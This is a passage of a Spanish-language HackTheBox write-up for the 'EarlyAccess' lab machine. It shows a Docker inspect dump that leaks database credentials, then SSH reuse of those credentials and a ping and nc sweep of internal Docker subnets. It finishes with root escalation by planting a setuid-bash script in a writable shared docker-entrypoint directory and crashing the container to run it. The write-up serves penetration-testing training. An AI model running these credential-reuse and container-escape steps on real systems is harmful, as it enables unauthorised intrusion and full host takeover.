{"AppArmorProfile":"docker-default","Args":["--character-set-server=utf8mb4","--collation-server=utf8mb4_bin","--skip-character-set-client-handshake","--max_allowed_packet=50MB","--general_log=0","--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES"],"Config":{"AttachStderr":false,"AttachStdin":false,"AttachStdout":false,"Cmd":["--character-set-server=utf8mb4","--collation-server=utf8mb4_bin","--skip-character-set-client-handshake","--max_allowed_packet=50MB","--general_log=0","--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES"],"Domainname":"","Entrypoint":["docker-entrypoint.sh"],"Env":["MYSQL_DATABASE=db","MYSQL_USER=drew","MYSQL_PASSWORD=drew","MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5","SERVICE_TAGS=dev","SERVICE_NAME=mysql","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.12","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.25-1debian10"],"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Healthcheck":{"Interval":5000000000,"Retries":3,"Test":["CMD-SHELL","mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent"],"Timeout":2000000000},"Hostname":"mysql","Image":"mysql:latest","Labels":{"com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"app","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/app","com.docker.compose.service":"mysql","com.docker.compose.version":"1.29.1"},"OnBuild":null,"OpenStdin":false,"StdinOnce":false,"Tty":true,"User":"","Volumes":{"/docker-entrypoint-initdb.d":{},"/var/lib/mysql":{}},"WorkingDir":""},"Created":"2022-01-26T19:33:25.426760773Z","Driver":"overlay2","ExecIDs":null,"GraphDriver":{"Data":{"LowerDir":"/var/lib/docker/overlay2/61b3a475b99e836ea7e76f7ea696ebe82e7ea26c9ca359afa9581f097e82261a-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff","MergedDir":"/var/lib/docker/overlay2/61b3a475b99e836ea7e76f7ea696ebe82e7ea26c9ca359afa9581f097e82261a/merged","UpperDir":"/var/lib/docker/overlay2/61b3a475b99e836ea7e76f7ea696ebe82e7ea26c9ca359afa9581f097e82261a/diff","WorkDir":"/var/lib/docker/overlay2/61b3a475b99e836ea7e76f7ea696ebe82e7ea26c9ca359afa9581f097e82261a/work"},"Name":"overlay2"},"HostConfig":{"AutoRemove":false,"Binds":["app_vol_mysql:/var/lib/mysql:rw","/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro"],"BlkioDeviceReadBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceWriteIOps":null,"BlkioWeight":0,"BlkioWeightDevice":null,"CapAdd":["SYS_NICE"],"CapDrop":null,"Cgroup":"","CgroupParent":"","CgroupnsMode":"host","ConsoleSize":[0,0],"ContainerIDFile":"","CpuCount":0,"CpuPercent":0,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpuShares":0,"CpusetCpus":"","CpusetMems":"","DeviceCgroupRules":null,"DeviceRequests":null,"Devices":null,"Dns":null,"DnsOptions":null,"DnsSearch":null,"ExtraHosts":null,"GroupAdd":null,"IOMaximumBandwidth":0,"IOMaximumIOps":0,"IpcMode":"private","Isolation":"","KernelMemory":0,"KernelMemoryTCP":0,"Links":null,"LogConfig":{"Config":{},"Type":"json-file"},"MaskedPaths":["/proc/asound","/proc/acpi","/proc/kcore","/proc/keys","/proc/latency_stats","/proc/timer_list","/proc/timer_stats","/proc/sched_debug","/proc/scsi","/sys/firmware"],"Memory":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":null,"NanoCpus":0,"NetworkMode":"app_nw","OomKillDisable":false,"OomScoreAdj":0,"PidMode":"","PidsLimit":null,"PortBindings":{},"Privileged":false,"PublishAllPorts":false,"ReadonlyPaths":["/proc/bus","/proc/fs","/proc/irq","/proc/sys","/proc/sysrq-trigger"],"ReadonlyRootfs":false,"RestartPolicy":{"MaximumRetryCount":0,"Name":"always"},"Runtime":"runc","SecurityOpt":null,"ShmSize":67108864,"UTSMode":"","Ulimits":null,"UsernsMode":"","VolumeDriver":"","VolumesFrom":[]},"HostnamePath":"/var/lib/docker/containers/59890abc771a9a779201f4e41a7d9a71d05eeb13a894bafaa51a19e2e2af534e/hostname","HostsPath":"/var/lib/docker/containers/59890abc771a9a779201f4e41a7d9a71d05eeb13a894bafaa51a19e2e2af534e/hosts","Id":"59890abc771a9a779201f4e41a7d9a71d05eeb13a894bafaa51a19e2e2af534e","Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287","LogPath":"/var/lib/docker/containers/59890abc771a9a779201f4e41a7d9a71d05eeb13a894bafaa51a19e2e2af534e/59890abc771a9a779201f4e41a7d9a71d05eeb13a894bafaa51a19e2e2af534e-json.log","MountLabel":"","Mounts":[{"Destination":"/var/lib/mysql","Driver":"local","Mode":"rw","Name":"app_vol_mysql","Propagation":"","RW":true,"Source":"/var/lib/docker/volumes/app_vol_mysql/_data","Type":"volume"},{"Destination":"/docker-entrypoint-initdb.d","Mode":"ro","Propagation":"rprivate","RW":false,"Source":"/root/app/scripts/init.d","Type":"bind"}],"Name":"/mysql","NetworkSettings":{"Bridge":"","EndpointID":"","Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"HairpinMode":false,"IPAddress":"","IPPrefixLen":0,"IPv6Gateway":"","LinkLocalIPv6Address":"","LinkLocalIPv6PrefixLen":0,"MacAddress":"","Networks":{"app_nw":{"Aliases":["59890abc771a","mysql"],"DriverOpts":null,"EndpointID":"854e23f30a649ed1a9f15f9fb603880207f972aa864d90d30a4e94c21b2ed0d6","Gateway":"172.18.0.1","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"IPAMConfig":{"IPv4Address":"172.18.0.100"},"IPAddress":"172.18.0.100","IPPrefixLen":16,"IPv6Gateway":"","Links":null,"MacAddress":"02:42:ac:12:00:64","NetworkID":"02cd1d3419d86e50870e95a3ae31e6533f8c47d8d5b23cd9696e76635e8a7169"}},"Ports":{"3306/tcp":null,"33060/tcp":null},"SandboxID":"afe02285d8cd5377e2bebf402cb7edbc4a41754f15e6212cd85133928801c7d0","SandboxKey":"/var/run/docker/netns/afe02285d8cd","SecondaryIPAddresses":null,"SecondaryIPv6Addresses":null},"Path":"docker-entrypoint.sh","Platform":"linux","ProcessLabel":"","ResolvConfPath":"/var/lib/docker/containers/59890abc771a9a779201f4e41a7d9a71d05eeb13a894bafaa51a19e2e2af534e/resolv.conf","RestartCount":0,"State":{"Dead":false,"Error":"","ExitCode":0,"FinishedAt":"0001-01-01T00:00:00Z","Health":{"FailingStreak":0,"Log":[{"End":"2022-01-26T20:39:06.598195426+01:00","ExitCode":0,"Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n","Start":"2022-01-26T20:39:06.518517018+01:00"},{"End":"2022-01-26T20:39:11.677204678+01:00","ExitCode":0,"Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n","Start":"2022-01-26T20:39:11.608020185+01:00"},{"End":"2022-01-26T20:39:16.754735889+01:00","ExitCode":0,"Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n","Start":"2022-01-26T20:39:16.680723063+01:00"},{"End":"2022-01-26T20:39:21.836752982+01:00","ExitCode":0,"Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n","Start":"2022-01-26T20:39:21.759028425+01:00"},{"End":"2022-01-26T20:39:26.922715607+01:00","ExitCode":0,"Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n","Start":"2022-01-26T20:39:26.839451657+01:00"}],"Status":"healthy"},"OOMKilled":false,"Paused":false,"Pid":1047,"Restarting":false,"Running":true,"StartedAt":"2022-01-26T19:33:28.857666249Z","Status":"running"}},"status":200} |
En el cual podemos obtener las credenciales del usuario drew
1 |
drew:XeoNu86JTznxMCQuGHrGutF3Csq5 |
Obteniendo la flag de user
Con las credenciales obtenidas del usuario, accedemos por ssh con las mismas para conseguir acceder y obtener la flag de user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ ssh drew@earlyaccess.htb drew@earlyaccess.htb's password: Linux earlyaccess 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. Last login: Sun Sep 5 15:56:50 2021 from 10.10.14.6 drew@earlyaccess:~$ id uid=1000(drew) gid=1000(drew) groups=1000(drew) drew@earlyaccess:~$ ls -l total 4 -r-------- 1 drew drew 33 Jan 26 20:33 user.txt drew@earlyaccess:~$ cat user.txt 0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxa drew@earlyaccess:~$ |
Escalado de privilegios
Ahora que ya estamos dentro con el usuario drew, enumeramos de nuevo la máquina y encontramos un mail del usuario donde mencionan otra aplicación de juegos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
drew@earlyaccess:~$ cat /var/mail/drew To: <drew@earlyaccess.htb> Subject: Game-server crash fixes From: game-adm <game-adm@earlyaccess.htb> Date: Thu May 27 8:10:34 2021 Hi Drew! Thanks again for taking the time to test this very early version of our newest project! We have received your feedback and implemented a healthcheck that will automatically restart the game-server if it has crashed (sorry for the current instability of the game! We are working on it...) If the game hangs now, the server will restart and be available again after about a minute. If you find any other problems, please don't hesitate to report them! Thank you for your efforts! Game-adm (and the entire EarlyAccess Studios team). |
Y observamos también la clave ssh del usuario game-tester que suponemos que será para la máquina mencionada en el correo
1 2 3 4 5 |
drew@earlyaccess:~$ ls -l .ssh total 8 -rw------- 1 drew drew 3389 Jul 14 2021 id_rsa -rw------- 1 drew drew 749 Jul 14 2021 id_rsa.pub drew@earlyaccess:~$ |
Así que revisando las ips disponibles para docker que serían los siguientes rangos
1 2 3 |
172.17.0.0/24 172.18.0.0/24 172.19.0.0/24 |
Vamos a descubrir que ips están accesibles
1 2 3 4 5 6 7 8 9 10 |
drew@earlyaccess:~$ for i in {7,8,9};do for f in $(seq 1 254); do ping -c1 -t 1 172.1$i.0.$f | grep ttl ;done ;done 64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.073 ms 64 bytes from 172.18.0.1: icmp_seq=1 ttl=64 time=0.106 ms 64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.158 ms 64 bytes from 172.18.0.100: icmp_seq=1 ttl=64 time=0.112 ms 64 bytes from 172.18.0.101: icmp_seq=1 ttl=64 time=0.073 ms 64 bytes from 172.18.0.102: icmp_seq=1 ttl=64 time=0.111 ms 64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.051 ms 64 bytes from 172.19.0.3: icmp_seq=1 ttl=64 time=0.073 ms 64 bytes from 172.19.0.4: icmp_seq=1 ttl=64 time=0.046 ms |
Y como ya vimos antes los rangos de la 17 y 18 vamos a enumerar puertos con nc en el rango de la 19 y vemos uno en concreto
1 2 3 |
drew@earlyaccess:~$ nc -nvz 172.19.0.4 1-65535 (UNKNOWN) [172.19.0.4] 9999 (?) open (UNKNOWN) [172.19.0.4] 22 (ssh) open |
Así que hacemos una petición con curl a esa ip para verificar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ curl 172.19.0.4:9999 <!DOCTYPE html> <html lang="en"> <head> <title>Rock v0.0.1</title> </head> <body> <div class="container"> <div class="panel panel-default"> <div class="panel-heading"><h1>Game version v0.0.1</h1></div> <div class="panel-body"> <div class="card header"> <div class="card-header"> Test-environment for Game-dev </div> <div> <h2>Choose option</h2> <div> <a href="/autoplay"><img src="x" alt="autoplay"</a> <a href="/rock"><img src="x" alt="rock"></a> <a href="/paper"><img src="x" alt="paper"></a> <a href="/scissors"><img src="x" alt="scissors"></a> </div> <h3>Result of last game:</h3> </div> </div> </div> </div> </div> </div> </body> </html> |
Y vemos que se trata del juego de piedra, papel o tijera, pero vamos a abrir un tunel ssh para verlo en el navegador
1 |
$ ssh -N -L 9999:172.19.0.4:9999 drew@10.10.11.110 |
Y vemos la siguiente ventana
Navegamos un poco por el mismo para ver su funcionamiento, y observamos que, como mencionaba en el correo, está en desarrollo por lo que podemos provocar que falle.
Probamos en la sección de autoplay a introducir un valor float en lugar de un entero y conseguimos que se rompa y se reinicie el servidor.
Además observamos que la ruta /opt/docker.entrypoint.d es editable
1 2 3 4 |
drew@earlyaccess:~$ ls -l /opt total 8 drwx--x--x 4 root root 4096 Jul 14 2021 containerd drwxrwxr-t 2 root drew 4096 Jan 26 21:44 docker-entrypoint.d |
y que se comparte con el contenedor en cuestión por lo que puede ser la forma de conseguir escalar privilegios.
Para ello vamos a crear un script que copie bash a la ruta en el arranque del contenedor con permisos de suid y usuario root
Lanzaremos el siguiente while
1 |
drew@earlyaccess:/opt/docker-entrypoint.d$ while(true);do echo 'cp /bin/bash /tmp/bash;chown root:root /tmp/bash;chmod u+s /tmp/bash' > shell.sh && chmod +x shell.sh ;done |
Una vez lanzado, provocaremos que falle la aplicación para reiniciar el servidor y accederemos al nuevo contenedor con el usuario y la clave obtenidas antes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
drew@earlyaccess:~$ ssh game-tester@172.19.0.2 The authenticity of host '172.19.0.2 (172.19.0.2)' can't be established. ECDSA key fingerprint is SHA256:QGqB7McazHmqza1M22cUpTR7oLwbktNXZZOJFO5ygQA. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '172.19.0.2' (ECDSA) to the list of known hosts. Linux game-server 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jan 26 21:09:03 2022 from 172.19.0.1 game-tester@game-server:~$ |
Revisamos que se ha ejecutado el script y que tenemos el fichero bash en la ruta /tmp
1 2 3 4 5 6 |
game-tester@game-server:~$ ls /tmp/ bash v8-compile-cache-0 game-tester@game-server:~$ ls -l /tmp/ total 1080 -rwsr-xr-x 1 root root 1099016 Jan 26 21:09 bash drwxr-xr-x 3 root root 4096 Jul 7 2021 v8-compile-cache-0 |
Y lo ejecutamos para escalar a root dentro del contenedor
1 2 3 4 |
game-tester@game-server:~$ /tmp/bash -p bash-4.4# id uid=1001(game-tester) gid=1001(game-tester) euid=0(root) groups=1001(game-tester) bash-4.4# |
Ahora viene la segunda parte.
Desde la máquina host, copiamos el fichero /bin/bash a la ruta compartida
1 |
drew@earlyaccess:/opt/docker-entrypoint.d$ cp /bin/bash . |
Desde el contenedor del juego le damos permisos suid y cambiamos el propietario
1 |
bash-4.4# chown root:root ./bash;chmod u+s ./bash |
Y ejecutamos el binario desde el host
1 2 3 |
drew@earlyaccess:/opt/docker-entrypoint.d$ ./bash -p bash-5.0# id uid=1000(drew) gid=1000(drew) euid=0(root) groups=1000(drew) |
Obteniendo la flag de root
Ahora que ya somos root, nos vamos a su home y cogemos la flag
1 2 3 4 5 6 7 8 9 10 |
drew@earlyaccess:/opt/docker-entrypoint.d$ ./bash -p bash-5.0# id uid=1000(drew) gid=1000(drew) euid=0(root) groups=1000(drew) bash-5.0# ls -l /root total 8 drwxrwxr-x 8 root root 4096 Aug 18 16:53 app -r-------- 1 root root 33 Jan 26 20:33 root.txt bash-5.0# cat /root/root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx4 bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace